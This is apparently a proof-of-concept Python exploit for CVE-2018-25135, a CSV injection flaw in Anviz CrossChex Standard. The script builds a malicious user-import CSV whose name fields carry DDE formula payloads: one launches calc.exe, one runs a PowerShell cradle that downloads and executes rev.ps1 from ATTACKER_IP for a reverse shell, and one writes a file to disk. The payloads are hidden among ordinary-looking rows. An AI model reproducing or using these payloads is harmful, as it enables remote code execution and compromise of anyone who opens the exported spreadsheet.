CVE-2018-25135: Anviz CrossChex Standard CSV注入远程代码执行漏洞

import csv import sys def generate_malicious_csv(filename): """ PoC for CVE-2018-25135 CSV Injection in Anviz CrossChex Standard This demonstrates how malicious formulas can be injected via CSV import. """ # Payload 1: Command execution via DDE # When opened in Excel, this will attempt to execute calc.exe dde_payload = "=cmd|' /C calc'!A0" # Payload 2: PowerShell reverse shell # Attacker should replace IP and PORT with actual values ps_payload = "=cmd|' /C powershell -c \"IEX(New-Object Net.WebClient).downloadstring('http://ATTACKER_IP/rev.ps1')\"'!A0" # Payload 3: File write operation file_write_payload = "=cmd|' /C echo malicious > C:\\temp\\pwned.txt'!A0" # Create malicious CSV with weaponized fields with open(filename, 'w', newline='', encoding='utf-8') as f: writer = csv.writer(f) # Header row writer.writerow(['Name', 'Gender', 'Position', 'Department', 'CardNumber']) # Malicious data rows writer.writerow([dde_payload, 'Male', 'IT Admin', 'Technology', '123456']) writer.writerow([ps_payload, 'Female', 'Manager', 'HR', '234567']) writer.writerow([file_write_payload, 'Male', 'Developer', 'Engineering', '345678']) # Normal looking rows mixed in writer.writerow(['John Smith', 'Male', 'Security', 'Security', '456789']) writer.writerow(['Jane Doe', 'Female', 'Analyst', 'Finance', '567890']) print(f"[+] Malicious CSV file created: {filename}") print(f"[!] When imported into CrossChex and opened in Excel, the formulas will be executed") return filename if __name__ == '__main__': filename = sys.argv[1] if len(sys.argv) > 1 else 'malicious_users.csv' generate_malicious_csv(filename)